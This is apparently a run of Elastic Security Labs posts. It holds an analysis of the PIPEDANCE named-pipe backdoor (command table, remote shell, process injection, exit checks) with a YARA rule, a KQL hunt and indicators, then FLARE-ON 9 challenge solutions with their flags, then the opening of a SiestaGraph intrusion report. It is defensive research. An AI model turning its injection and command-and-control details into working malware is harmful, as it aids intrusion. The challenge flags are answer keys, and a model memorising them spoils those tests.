In late December 2022, Elastic Security Labs observed new activity in a previously monitored environment targeting a Vietnamese organization. This new activity included the execution of a named pipe malware used to facilitate post-compromise activity. We are naming this malware family PIPEDANCE. By leveraging PIPEDANCE, the adversary is able to:

Disguise activity through a custom function that randomly injects into a hard-coded list of Windows programs
Perform discovery by enumerating files and processes
Leverage standard backdoor capabilities such as running commands, writing files
Check different network protocols for exfiltration
Launch additional payloads through process injection techniques

In this post, we walk through the initial execution then detail the capabilities we have discovered from reviewing the malware.

Note: Check out our follow-on publication on creating your own client to interact with a PIPEDANCE infected endpoint here.

Overview

Unlike malware that might communicate with conventional network or application protocols, we identified a binary designed explicitly for lateral movement and post-compromise enablement within a contested environment: executing additional implants, running commands, performing file discovery, enumerating running processes, and checking outbound access; all through the use of Windows named pipes. This kind of functionality is comparable to Cobalt Strike or Metasploit’s SMB modules.

Named pipes within Windows allow for inter-process communication on a single computer or between processes on separate machines within the same network. Named pipes can be set up for one-way or two-way communication between a pipe client and a pipe server. The data used within named pipes are all stored in memory where it is written and retrieved using standard Windows APIs ( CreateFile / WriteFile / ReadFile ) in the same way as reading/writing files.

Elastic Defend was installed after an unknown initial compromise. The Suspicious Windows Service Execution behavioral rule generated the first observed events. While unconfirmed, published research describes similar techniques by an adversary leveraging execution through a locally-mounted Administrator share and using Microsoft’s SysInternals DebugView ( DbgView.exe ) utility to load PIPEDANCE.

DbgView.exe was observed loading PIPEDANCE into makecab.exe, the Windows utility used to package Cabinet files . The Windows performance data utility, typeperf.exe, was then injected into and spawned openfiles.exe where Cobalt Strike was loaded into this process.

While openfiles.exe binary is a legitimate Microsoft application, Elastic Defend generated a Cobalt Strike memory signature. After extracting the memory regions from the alert in Kibana, we identified the Cobalt Strike module invokeassembly.x64.dll, validating that Cobalt Strike was injected into the legitimate openfiles.exe binary.

PIPEDANCE leverages named pipes as a communication mechanism between different infected endpoints within a compromised network. The adversary uses this capability as a bidirectional layer of command and control through which they can dispatch commands and pass data between named pipes.

Initial set-up / Communication flow

At the beginning of the main function, there is a hardcoded string used as the pipe name. This string is also used in later stages as an RC4 key to encrypt/decrypt data between pipes. In the image below, we can see the hardcoded pipe name ( u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe ) being set as a global variable.

During initial execution, the malware will use the CreateNamedPipeA and ConnectNamedPipe methods to create the named pipe ( “\.\pipe\u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe") and wait for an incoming client process to connect to the pipe. The figure below represents this activity showing the pipe name being formatted with hardcoded string and initializing the pipe.

During the first client connection, PIPEDANCE retrieves the following values from the local system and places them into a buffer:

Process ID of the PIPEDANCE process
Current working directory of the PIPEDANCE process.
Domain & Username of the PIPEDANCE process

PIPEDANCE passes this buffer and an 8-byte structure containing the result flag from a IsWow64Process evaluation and the buffer size for the subsequent WriteFile operation to the pipe. PIPEDANCE then encrypts the buffer containing the previous process details with RC4 and then writes the encrypted data back to the client pipe.

Below is a high-level graphic that illustrates the purpose-built lateral movement functionality. With PIPEDANCE infections, the named pipe server process is run on a new victim machine, while the client instructions come from the operator from a previously compromised machine in the same network.

Command dispatching

After an initial handshake, PIPEDANCE’s primary functionality consists of a while loop with a command dispatching function. This dispatching function will retrieve the provided command ID of its respective function along with any arguments and their size from the operator.

The parsing function passes an 8-byte structure consisting of the command instruction and the buffer size for the command argument. The command argument is decrypted using the previous RC4 key, then written back to the pipe.

Once the command ID has been received, PIPEDANCE performs several conditional checks using if/else and switch statements.

The majority of the command functions return a result flag or error code to the operator. For some functions that may return large amounts of data, such as a list of running processes, the malware generates a new named pipe using the hardcoded string described earlier. Then it concatenates the PID of the PIPEDANCE process which sends and receives the data over this pipe.

Command functionality

PIPEDANCE supports more than 20 different functions, each accessed using their command ID via if/then and switch/case logic. Below is an example of the first 4 functions.

Command handling table

| Command ID | Description | | ---------- | ---------------------------------------------------------------------------------------------------- | | 0x1 | Terminates process based on provided PID | | 0x2 | Run a single command through cmd.exe, returns output | | 0x3 | Terminal shell using stdin/stdout redirection through named pipes | | 0x4 | File enumeration on current working directory | | 0x6 | Create a new file with content from pipe | | 0x7 | Retrieve current working directory | | 0x8 | Set current working directory | | 0x9 | Get running processes | | 0x16 | Perform injection (thread hijacking or Heaven’s Gate) with stdin/stdout option for the child process | | 0x18 | Perform injection from hardcoded list (thread hijacking or Heaven’s Gate) | | 0x1A | Perform injection on provided PID (thread hijacking or Heaven’s Gate) | | 0x3E | Clear out global variable/pipe data | | 0x47 | Connectivity check via HTTP Get Request | | 0x48 | Connectivity check via DNS with providing DNS Server IP | | 0x49 | Connectivity check via ICMP | | 0x4A | Connectivity check via TCP | | 0x4B | Connectivity check via DNS without providing DNS Server IP | | 0x63 | Disconnect pipe, close handle, exit thread | | 0x64 | Disconnect pipe, close handle, exit process, exit thread |

In order to detail the significant capabilities of PIPEDANCE, we’ve split our analysis into three sections:

Standard backdoor functionality
Network connectivity checks
Process Injection techniques

Backdoor functionality

PIPEDANCE offers various interactive backdoor capabilities needed by an operator in order to perform reconnaissance, and pivot through different systems.

Command execution

There are two functions related to command execution, Function 0x2 and 0x3. The first method ( Function 0x2 ) accepts a command argument from the terminal, such as ipconfig. This function starts by creating an anonymous named pipe with read and write handles. Before creating the process, PIPEDANCE will configure the STARTUPINFO structure using STARTF_USESTDHANDLES to pipe the command output ( hStdOutput ) for the new process.

A thread is then created passing the previous read pipe handle as an argument. Memory is allocated for the command output and read from this read pipe handle. The data is then looped over and encrypted in a similar manner as before and sent back through a new named pipe. In our example, this is the data from the ipconfig command.

The second execution command ( Function 0x3 ) creates a new cmd.exe process in a suspended state and also leverages STARTF_USESTDHANDLES as before.

After the process is created, a new thread is created passing the STARTUPINFO where two named pipe server processes are created for input and output and the thread is resumed.

This functionality operates similarly to a reverse shell, where the attacker has the ability to directly interact and pass data back and forth.

Discovery and enumeration

PIPEDANCE has built-in functionality related to discovery and enumeration. For process enumeration ( Function 0x9 ), it leverages the CreateToolhelp32Snapshot function to retrieve the process details. The function returns the process ID, the name of the process, the architecture of the process, whether a process is tied to a system (Session represented as a 0 ) or user session (Session represented as a 1 ), and the username associated with the process.

Interestingly, in our observations with a few different modules, the results are mangled by the developer due to formatting the data with the C runtime library function vsprintf_s when working with Unicode data. This can be observed below in the process discovery module where the process name output gets mangled whereas PIPEDANCE only returns the first character of the process, architecture, and usernames. Below is the output table returned to the operator. In this example, PID 564 with a (mangled) “Name” of w is actually PID 564 with a full process name of winlogon.exe , a full architecture name of x86 , a session ID of 1 , and a full user name of NT AUTHORITY\SYSTEM , etc.

PIPEDANCE implements a terminal-like concept where it has a current or working directory for its process. This enables the adversary to use functions directly tied to the working directory, such as the file enumeration modules.

For file enumeration, PIPEDANCE will use a wildcard to pull back a file listing from the current working directory.

PIPEDANCE also offers functionality for creating files and writing content to files on the victim machine ( Function 0x6 ). It does this by first creating and naming a file on the victim machine, then it creates a new thread with a new instance of a named pipe that will then wait for and read incoming data over the pipe. This data is XOR’d with the previous RC4 key and then written to the file.

PIPEDANCE also has various administrator or maintenance commands used to terminate processes, terminate threads, disconnect pipes, clear global variables from memory, etc.

Network connectivity checks

As adversaries pivot and move through a network, one of their objectives is understanding where the endpoint sits inside the network and determining what protocols are available for shipping data laterally or externally. PIPEDANCE is specifically built to identify exit points on an endpoint by checking DNS, ICMP, TCP, and HTTP protocols.

As an example, PIPEDANCE will make a DNS request to bing[.]com when providing a DNS server as an argument, the result of the query will be returned back to the operator indicating success or not. For ICMP, PIPEDANCE will generate fake data for the ICMP request by looping over the alphabet and sending it to a provided IP address.

Similarly for HTTP, the operator can provide a domain where PIPEDANCE will perform a vanilla HTTP GET request over port 80 and then return a boolean value for success or not.

These are straightforward functions, but they provide great insight into the developer’s mindset and the type of objectives they are trying to achieve. These checks are likely used in a multi-stage process where these protocols are verified first in a lightweight method then additional shellcode/payloads are launched afterward.

Process injection techniques

In a similar fashion to many post-exploitation frameworks, PIPEDANCE leverages different forms of process injection to execute shellcode and launch additional implants. Depending on the process architecture, the malware will perform injection using a standard thread execution hijacking technique or the Heaven’s Gate technique.

PIPEDANCE utilizes defense evasions to obscure their activity by randomly picking a Windows program from a hardcoded list to use as an injection target.

This method generates a seed value based on the current time and passes it to a pseudorandom number generator that returns a value between 0 and 5. This value determines which of 6 hard-coded binaries ( makecab.exe , typeperf.exe , w32tm.exe , bootcfg.exe , diskperf.exe , esentutl.exe ) is used.

Below is an example of the Windows APIs used with the thread hijacking technique when PIPEDANCE is running under a 32-bit architecture.

If the processor architecture is 64-bit, PIPEDANCE will use the Heaven’s Gate technique calling Native API functions ( NtGetContextThread , NtWriteVirtualMemory , RtlCreateUserThread ), switching the CPU to 64-bit, and executing shellcode.

PIPEDANCE also supports other methods of injection using CreateRemoteThread or through a Heaven’s Gate call to RtlCreateUserThread. With this function, instead of choosing from the previously hardcoded list, the operator provides the PID for the injection target.

Summary

PIPEDANCE is designed to conduct covert operations using named pipes and has various features to enable the post-compromise stage. In terms of capabilities, it reminds us of an offensive attack framework's SMB module, but with its own customization. While leveraging named pipes is not a novel technique, it's interesting to see how it's been implemented as a command and control internal proxy and represents an in-house development capability.

Detection logic

Prevention

Memory Threat Prevent Alert: Shellcode Injection

Detection

Hunting queries

KQL queries

Using the Discover app in Kibana, the below query will identify network connections coming from the hardcoded injection targets within PIPEDANCE.

process.name:("makecab.exe" or "typeperf.exe" or  "w32tm.exe" or "bootcfg.exe" or "diskperf.exe" or "esentutl.exe") and event.dataset: endpoint.events.network

YARA

Elastic Security has created a YARA rule to identify this activity. Below is the YARA rule to identify PIPEDANCE.

rule Windows_Trojan_PipeDance {
    meta:
        author = "Elastic Security"
        creation_date = "2023-02-02"
        last_modified = "2023-02-02"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "PipeDance"
        threat_name = "Windows.Trojan.PipeDance"
        license = "Elastic License v2"
    strings:
        $str1 = "%-5d %-30s %-4s %-7d %s" wide fullword
        $str2 = "PID   Name                           Arch Session User" wide fullword
        $str3 = "%s %7.2f B" wide fullword
        $str4 = "\\\\.\\pipe\\%s.%d" ascii fullword
        $seq_rc4 = { 8D 46 ?? 0F B6 F0 8A 14 3E 0F B6 C2 03 C1 0F B6 C8 89 4D ?? 8A 04 0F 88 04 3E 88 14 0F 0F B6 0C 3E 0F B6 C2 03 C8 0F B6 C1 8B 4D ?? 8A 04 38 30 04 0B 43 8B 4D ?? 3B 5D ?? 72 ?? }
        $seq_srv_resp = { 8B CE 50 6A 04 5A E8 ?? ?? ?? ?? B8 00 04 00 00 8D 4E ?? 50 53 8B D0 E8 ?? ?? ?? ?? B8 08 02 00 00 8D 8E ?? ?? ?? ?? 50 57 8B D0 E8 ?? ?? ?? ?? }
        $seq_cmd_dispatch = { 83 FE 29 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FE 06 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B C6 33 D2 2B C2 0F 84 ?? ?? ?? ?? 83 E8 01 }
        $seq_icmp = { 59 6A 61 5E 89 45 ?? 8B D0 89 5D ?? 2B F0 8D 04 16 8D 4B ?? 88 0A 83 F8 77 7E ?? 80 E9 17 88 0A 43 42 83 FB 20 }
    condition:
        4 of ($str*) or 2 of ($seq*)
}

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

Observables

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

| Indicator | Type | Reference | | ---------------------------------------------------------------- | ------- | ------------------------------- | | 9d3f739e35182992f1e3ade48b8999fb3a5049f48c14db20e38ee63eddc5a1e7 | SHA-256 | PIPEDANCE server-side component | | 805a4250ec1f6b99f1d5955283c05cd491e1aa378444a782f7bd7aaf6e1e6ce7 | SHA-256 | Cobalt Strike beacon | | exl.officeappsreviews[.]com/lanche-334e58sfj4eeu7h4dd3sss32d | URL | Cobalt Strike C2 server |

FLARE-ON 9 Solutions:

Daniel Stepanic,Cyril François,Salim Bitam,Remco Sprooten — Wed, 04 Jan 2023 00:00:00 GMT

Introduction

To celebrate cybersecurity month, the Malware Analysis and Reverse Engineering Team (MARE) enjoyed participating in the Mandiant FLARE-ON Challenge. FLARE-ON is an excellent event for participants of all backgrounds and experience levels who want to learn more about malware analysis. This year consisted of 11 different reverse engineering challenges with a range of interesting binaries. We really enjoyed working on these challenges and have published our solutions here to Elastic Security Labs.

Challenge 1 - “Flaredle”

Welcome to FLARE-ON 9! You probably won't win. Maybe you're like us and spent the year playing Wordle. We made our own version that is too hard to beat without cheating. Play it live at: http://flare-on.com/flaredle/

Solution

After downloading and unpacking the file, we see 4 file objects.

The index.html file and accompanying js files give away what we are talking about is a HTML/JavaScript challenge. Opening the file script.js confirms our suspicion. In the first few lines of code the answer to the challenge is clear to the trained eye. Let’s explain.

On line 9 the value of rightGuessString translates to WORDS[57]. Even if you don't know javascript, the variables and iterative loop suggest an evaluation of the user-supplied guess (rightGuessString) and a hard-coded value. If we look at the contents of words.js, we see the correct value on the 58th line (javascript arrays begin with 0 but the file start at line 1): "flareonisallaboutcats".

By visiting the online game and submitting this string, we can validate the correct flag for challenge one!

Flag: flareonisallaboutcats@flare-on.com

Challenge 2 - “Pixel Poker”

I said you wouldn't win that last one. I lied. The last challenge was basically a captcha. Now the real work begins. Shall we play another game?

Solution

This challenge consists of a 32-bit Windows application that has been sweeping the nation, called Pixel Poker! Users get 10 attempts to click on the correct pixel from the window before the program terminates.

The error message after 10 failed attempts provided a reliable lead to follow, and we focused on where that click restriction was implemented. We converted that decimal value of 10 into hexadecimal (0xA) and kicked off an immediate value search.

The first result from our search is listed with instructions: cmp eax, 10. You might not be fluent in assembly, but “cmp” is a mathematical instruction to compare the contents of “eax” with the number ten. At first glance, that looks like the kind of logic behind that click restriction.

By viewing the decompiled code, we can confirm this is our intended target instruction with the error message we saw on prior screenshot after the 10 attempts. We’re one step closer to knowing where to click in the window.

In order to locate the validation logic and those coordinates, we look at code in close proximity to the previous error message. We observe two instances where the EAX register is populated using strings (“FLAR”) and (“E-On”) that then get divided with hardcoded values and compared with our clicked pixel values.

After these straightforward operations, we derive two coordinates (95, 313). If you are up for a challenge and haven’t had too much coffee, go on and click that pixel.

The flag can also be attained by leveraging a debugger and enabling the zero-flag (ZF) on two JNZ (jump-if-not-zero) instructions that appear directly after the previously-mentioned compare checks. This method allows us to bypass manually clicking the correct pixel location.

For fun, we wrote a small program to patch out the click restriction and brute force clicking all available pixels using the SendMessage API.

Two minutes and about 100,000 clicks later, the flag was released to us.

*_Flag: *_w1nN3r_W!NneR_cHick3n_d1nNer@flare-on.com

Challenge 3 - “Magic 8 Ball”

You got a question? Ask the 8 ball!

Solution

This challenge appeared to be an interactive 8-ball game developed with an open source SDL library. Based on quick observations, there are two obvious inputs moving the 8-ball directionally (left, up, down, right) and an input box with a maximum of 75 characters.

The first starting point was tracing the string “Press arrow keys to shake the ball” that was displayed in the application. The decompiled view of the function containing this string showed another string directly above it was being copied (“gimme flag pls?”).

Our next pivot was reviewing the code calling this function for more context. After the software executes and the game is displayed, a “do while” loop polls for input.

One function we reviewed stood out, one containing multiple “if then” conditional statements based on single character values.

Our malware analysts begin their careers in childhood, diligently playing video games for literally hours at a time– to them this pattern resembles the Konami code, by which players enabled undocumented features after entering a series of inputs (left, left, up, right, up, left, down, up, left).

By moving the 8-ball first in this order of operations and then entering the previously-recovered string (“gimme flag pls?”), we unlocked the flag.

Flag: UcRackeD_th1$_maG1cBaLL!! _@flare-on.com

Challenge 4 - “darn_mice”

"If it crashes it's user error." -Flare Team

Solution

The fourth challenge was a 32bit PE binary. Executed without any arguments, the binary initially appeared to run briefly before terminating. When run with arguments, though, we see a strange error message.

After opening the binary in IDA and tracing that error, we determined that the first argument is being passed to the function sub_401000.

In this function we see that our input is added to the values of a constant array, and at line 51 we see that the result is executed as code. This means that our input and the value in the array are resolved as an opcode which is returned. And that means a NOP opcode (0x90) isn’t an option, if you’re following along. The opcode we’re looking for is RET (0xC3): we copied the byte sequences out of IDA and hacked together an evaluation in Python.

arr = [0x50,0x5E,0x5E,0xA3,0x4F,0x5B,0x51,0x5E,0x5E,0x97,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA2,0xA3,0x6B,0x7F]"".join([chr(0xC3 - c) for c in arr])

Using the current input we can retrieve the flag.

Flag: iw0uld_l1k3_to_RETurn_thisjoke@flare-on.com

Challenge 5 - “T8”

FLARE FACT #823: Studies show that C++ Reversers have fewer friends on average than normal people do. That's why you're here, reversing this, instead of with them, because they don't exist. We’ve found an unknown executable on one of our hosts. The file has been there for a while, but our networking logs only show suspicious traffic on one day. Can you tell us what happened?

Solution

For this challenge, we’ve been provided with a PCAP in addition to a binary.

PCAP file overview

The PCAP contains the communication between the binary and a C2 server (not provided). Having studied thousands of PCAPs, we note an exchange between the binary and C2 server that resembles base64.

Binary overview

This binary appears to be written in C++ or implement classes in a similar way.

If this binary is written in C++, our goal is to find the VTABLE and reconstruct it. The VTABLE in question is located in .rdata at the address 0x0100B918, which means we can stop speculating about this being C++.

Renaming the VTABLE functions makes analysis easier and more efficient. We stepped through execution, and a few operations stood out. Following the flow of execution, a pseudorandom string was generated by the function located at 0x0FC1020, using the srand and rand APIs to randomly generate 5 digits. After appending those to the substring FO9, the entire string is MD5-hashed.

The string “ahoy” is RC4-encrypted using the MD5 hash as a key, and then the result is base64-encoded and sent to the server using an HTTP POST request. Data sent back from C2 is base64-decoded and then decrypted using the same MD5 hash. To proceed with the challenge, we’ll need to apply our understanding of this configuration.

Our next objective is to bruteforce the random string to derive the RC4 key. To do that, we wrote a script to generate a word list of all the possible values for that string of eight characters which will resemble “FO9\<5DIGITS>”. We also know that the string “ahoy” is encrypted and encoded by this process, which means we can look for that string in the PCAP by searching for “ydN8BXq16RE=”.

Our script tells us the random string (F0911950) and hash (a5c6993299429aa7b900211d4a279848), so we can emulate the C2 server and replay the PCAP to decrypt the data. But, as seen in the screenshot below, just putting a breakpoint after the decrypt_server_data function we can find the flag.

Flag: is33you_m00n@flare-on.com

Challenge 6 - “à la mode”

FLARE FACT #824: Disregard flare fact #823 if you are a .NET Reverser too. We will now reward your fantastic effort with a small binary challenge. You've earned it kid!

Solution

This challenge starts off in a hauntingly familiar way: with an incident response chat log and a .NET DLL.

The chat log offers a clue that another (missing) component may interact with the DLL.

Working with .NET samples often, you’ll be familiar with dnSpy. Right away we spotted a function of the DLL labeled GetFlag and containing client-side code for connecting to a NamedPipe called FlareOn.

Given the previous clue, we know there is something more to this DLL. We opened it in IDA and noted some interesting strings, which appear superficially similar.

Cross-referencing these strings led us to a simple encryption function used throughout the program with a single-byte XOR (0x17). In this function the library imports are consistent with NamedPipe functionality.

After annotating the libraries and reviewing this functionality, it establishes a named pipe and performs validation.

This validation function uses a new string encryption function and string comparison (lstrcmpA) when the connection occurs.

With this information, we used x64dbg to set this validation function as the origin function and retrieved the decrypted flag.

Flag: M1x3dM0dE4_l1f3@flare-on.com

Challenge 7 - “anode”

You've made it so far! I can't believe it! And so many people are ahead of you!

Solution

This challenge is a 55 MB Windows PE file which appears to be a packed Node.js binary. When the binary is executed it asks for a flag and returns a “Try Again” error message.

![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg

Conveniently (but not helpfully), we see it when we search strings.

We can better locate it using the HxD hex editor, which reveals it in a larger blob of cleartext code.

This blob of code also tells us that the flag is expected to have a length of 44 characters. Sometimes the wrong answer tells you enough to get the right one, though. The attempt generated a new error, though. Readers should note that this attempt was coincidentally made using an unpacked version.

That error message appears in the cleartext blog of code we discovered, which helps us locate the responsible logic and get one step closer to the right flag.

Curiously, when submitting the same bad flag using the packed binary, the error is different.

![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg

If we comment the condition out to bypass that validation, we get another new error.

Something is definitely happening, and while experimenting has revealed a few things we should finish reviewing this cleartext blob of code to understand how the challenge works. It appears as though the flag is submitted and transformed within a state machine that we need to figure out.

And the result of that state machine operation is evaluated against the correct flag.

But now we have a different (bigger) problem, because it looks like each value is XOR-encrypted with a randomly-generated value supplied by the math.random function. Also we don’t know the sequence of values that produce the expected sequence of operations. But this is functional in the challenge binary, which means there’s a fixed sequence of randoms.

We need to dump those values, and we can do this by patching the script being used by the challenge binary and writing that sequence of values to a file.

We also dump the sequence of states using the same method.

Now we can patch the binary to output both sequences of values and states, which makes debugging so much easier.

We have the elements we need to reverse operations and their order, but we’re feeling lazy so let’s build ourselves a javascript deobfuscator! This will help get rid of that state machine and reverse the encryption to reveal the flag, we’re using the pyesprima frontend for Javascript. First, we’ll create a class that inherits the esprima.NodeVisitor class and will be able to visit the JavaScript Abstract Syntax Tree (AST).

Next, we then visit the AST and collect each subtree associated to a switch case node.

For each state that was previously extracted, we test the if/else node’s condition and choose the right branch’s inner subtree. Either the predicate is a literal and we directly test its value or the predicate is a Math.random call so we test the next value.

Finally, for each expression we determine if it contains a Math.floor(Math.random) call and then replace it with the right random value, then for the current state replace the original subtree with our expression.

Pyesprima doesn’t return JavaScript code back from its AST. So we implemented a very small JavaScript code emitter that replaces each node with the proper JavaScript code recursively.

But after comparing the deobfuscated script and the packed binary, we still don’t have the same result!

There must be some shenanigans in addition to math.random. We quickly discover by testing that the if(x) and the if(xn), with x being a number, have two strange different behaviors. if(x) always returns false if the number is > 0 and if(xn) always returns false if the number contains a zero!

So with this in mind, we fixed the predicates in the script before running the deobfuscator again.

This looks like our obfuscated script.

Let’s reverse this obfuscation.

The final inverted script with “target” as the initial flag looks like this:

Readers interested in the scripts created for FLARE-ON challenges can find them linked at the end of this publication.

Running the script ends up producing an array.

Flag: n0tju5t_A_j4vaSCriP7ch4l1eng3@flare-on.com

Challenge 8 - “Backdoor”

I'm such a backdoor, decompile me why don't you…

Solution

This challenge consists of an 11MB Windows PE binary that executes when launched, but returns nothing to the console. We often augment analysis with packet captures, and were listening with WireShark when we observed a DNS resolution event. We’re off to a great start.

We notice a convention that may be significant: we have flare_xx functions and their flared_yy counterparts. If we inspect the flare_xx functions, they each contain a “try/catch” structure.

![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg

But when we turned to look at their flared_yy counterparts, something's not quite right.

In dnSpy, we trace execution to an InvalidProgramException and don’t reach the flared_yy code. But in spite of that, the challenge seems to execute somewhat successfully.

Beginning with main and analyzing the first function, we have a rough outline of what’s happening: there are two layers of “try/catch” logic doing similar things in different ways, and creating a dynamic method Intermediate Language (IL) somehow provided by parameters.

The first layer, flare_71, constructs a dynamic method with the IL directly passed as parameter:

![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg

Some behind-the-scenes work happens to patch the IL code using a metadata token that has the dynamic method’s context before SetCode is called. A dictionary of locations and metadata tokens is resolved by calling GetTokenFor in the same context, as well.

After patching, the IL is only valid in the context of the dynamic method. To reconstruct the binary properly, now we need to dump the IL before it can be modified, patch it with the right metadatatoken, and then patch the binary to fix the broken function.

We can create a script to do that in Python.

After patching the binary’s first layer, it decompiles correctly. The flared_70 function, responsible for running the second obfuscation layer, is a bit more complicated though.

The function will read one of its PE sections by name, using the first 8 characters of the hash of the metadata token and corresponding to the function that raised the InvalidProgramException error. This is decrypted with a hardcoded key. The decrypted section contains the IL of the function to call.

The IL patching is somewhat complicated this time and involves a little obfuscation.

The next problem is that we don’t have all the hashes beforehand, only when the function gets called. If we put a breakpoint on the resolving function, we can dump each hash.

We wrote a script to do the patching automatically and run it each time we add a new hash.

At this point most of the functions are deobfuscated and we can move on to the core of the challenge.

Initially we observed a large number of DNS resolution events, but didn’t see the malware attempt a network connection to our Flask server. While debugging the sample, though, we can see what looks like an attempt to process commands.

The problem is that we still don’t know how to interact with the backdoor. By backtracking to the source of each command, we can see that this sample is using the IP addresses received from these DNS resolutions for communication. Now we know why we didn’t see this sample try to connect to our Flask server, at least.

How this worked, we were about to learn, is a little complicated.

The first IP address is used to create a file, after which all commands arrive in the form of a “255.x.y.z” network address. Each IP address returned to the sample is parsed for its octets, but it might be easier to understand with a concrete example:

When a DNS resolution returns 255.0.0.2, the backdoor expects two specific bytes of data (43d and 50d) which are used to calculate what superficially resembles a network address, 43.50.0.0. The command processing function then performs a comparison and appends a value between 0 and 22.

The flared_56 function XORs a value in an array with 248 to determine if the result is equal to the value passed in the parameter or not. If so, it appends a small chunk of text to one of the object’s properties and that value is then removed from the array.

This tells us which command to send and in which order to append all the text chunks. We also noticed that when the array value is empty the _bool flag is set to false. That’s probably not an accident, so let’s inspect any functions using that flag.

This function is triggered each time an element is deleted from the value array.

We can expect something to happen once the right conditions are met, and endeavor to contrive them.

First, we generated a list of all possible IP address values. Then we configured FakeDns to resolve *.flare-on.com to that value list.

Next, we use FakeDns to respond to requests using a round-robin approach that resolves to each IP address in order, until finally we get the response we were waiting for.

*_Flag: *_W3_4re_Known_f0r_b31ng_Dyn4m1c@flare-on.com

Challenge 9 - “encryptor”

You're really crushing it to get this far. This is probably the end for you. Better luck next year!

Solution

For this challenge, we’re provided two files: a Windows PE executable and an encrypted file.

Encryption is interesting, and when we opened it in HxD we immediately saw a bunch of garbage followed by hexified data.

When the binary is executed, it helpfully indicates a path is expected as an argument.

But nothing happens when a random file is chosen, so a less random file must be what we need.

We begin by tracing the function in IDA and note that it’s looking for a specific extension, “.EncryptMe”.

Let’s try again with a random file that uses that specific file extension.

And we see a new file generated with a different extension (“.Encrypted”) and a larger file size.

Looking more closely at the executable in IDA, we determine that the binary is using ChaCha20 with a random key encrypted using RSA-2048.

We need that key.

On the most basic level, encryption is just a system of math made up of basic operations like addition and multiplication. RSA is considered a strong implementation because it uses big numbers, and most RSA libraries implement a big number library of some kind. But we don’t really want to reverse all that just for the key, especially when we can find all the related functions in the sample and apply our knowledge of RSA.

We need to generate prime numbers for two variables, p and q.

We need to generate the modulus value n, which is equal to p*q. Using p and q as inputs, return n. So far, so good.

And we’re going to need a value phi, which is equal to (p-1)*(q-1).

We deduce that the 2 previous functions are the decrement function that produce p-1 and q-1.

Finally, we have an operation that produces the secret key d using phi and the exponent e.

Notice however that something fishy is already happening because the global variable containing the exponent e is reused and will contain the private key d. Now at least we can validate that the key is encrypted with the private key (d, n) instead of the public key (e, n).

We can use the public key to decrypt the ChaCha20 key, however we don’t know the modulus value or the encrypted key. Fortunately for us, they are both hexified and appended to the encrypted output file.

The encrypted ChaCha20 key is actually contained in the last three rows of the init structure, along with the nonce.

The key can be decrypted with a little python.

And we’re one step closer.

By tracing execution with x64dbg, we can force the decryption of the encrypted file by replacing the ChaCha20 parameters with the key and nonce we’ve just obtained. Another flag down, and one more to go!

*_Flag: *_R$A_$16n1n615_0pp0$17e0f_3ncryp710n@flare-on.com

Challenge 10 - The Karaoke Labyrinth

Somehow every member of the team has a nearly encyclopedic knowledge of song lyrics, and intuited their way through this one. Surprisingly whimsical, no reversing necessary.

Challenge 11 - “The challenge that shall not be named”

Protection, Obfuscation, Restrictions… Oh my!! The good part about this one is that if you fail to solve it I don't need to ship you a prize.

Solution

This was the eleventh and final challenge of FLARE-ON 9, and unexpectedly straightforward after some of the previous ones. This challenge consisted of a binary, running strings on it gave some hints about it.

“PyInstaller bundles a Python application and all its dependencies into a single package” is a nice summary of what PyInstaller is used for. This binary is compiled from Python scripts and packaged as a single executable, which is less of a problem than it might seem. We encounter those often enough that we’ve found tools to extract python compiled in this way, and we pulled out a few python files.

One of the files, 11.py, threw errors when we attempted to step through it and complained that the library “‘crypt’ has no attribute ‘ARC4’”.

That’s kind of interesting. Notably, we can modify the crypt.py script located in “PYTHON_FOLDER_PATH\lib\crypt.py”, adding the ARC4 function and the class it returns with our custom encrypt function.

When we run 11.py again, this time it prints us a beautiful flag which wakes us from the dream (or nightmare) that is the FLARE-ON challenge.

*_Flag: *_Pyth0n_Prot3ction_tuRn3d_Up_t0_11@flare-on.com

Conclusion

For the 2022 FLARE-ON challenge, that’s a wrap! We learned a bunch of new things this year and we hope you enjoyed reading our solutions. We’re looking forward to reading yours and learning things we didn’t try.

For those who have waited patiently for a link to scripts, here you go.

Acknowledgements

We want to thank Elastic and Devon Kerr, who gave us the opportunity to spend a week focused on this event. Thanks also to the Mandiant team for the fun and thoughtful challenges: well done. To the researchers who participated, thank you for making it a phenomenal week of learning.

SiestaGraph: New implant uncovered in ASEAN member foreign ministry

Fri, 16 Dec 2022 00:00:00 GMT

Key takeaways

Likely multiple threat actors are accessing and performing live on-net operations against the Foreign Affairs Office of an ASEAN member using a likely vulnerable, and internet-connected, Microsoft Exchange server. Once access was achieved and secured, the mailboxes of targeted individuals were exported.
Threat actors deployed a custom malware backdoor that leverages the Microsoft Graph API for command and control, which we’re naming SiestaGraph.
A modified version of an IIS backdoor called DoorMe was leveraged with new functionality to allocate shellcode and load additional implants.

Preamble

In early December, Elastic Security Labs observed Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member.

In spite of diverse security instrumentation observed during this activity, the threat actors were able to achieve:

The execution of malware on Exchange Servers, Domain Controllers, and workstations
Exfiltration of targeted user and group mailboxes
Deploy web shells
Move laterally to user workstations
Perform internal reconnaissance
Collect Windows credentials

Because the intrusion is ongoing and covers almost the entire MITRE ATT&CK framework, the analysis sections will use a timeline approach.

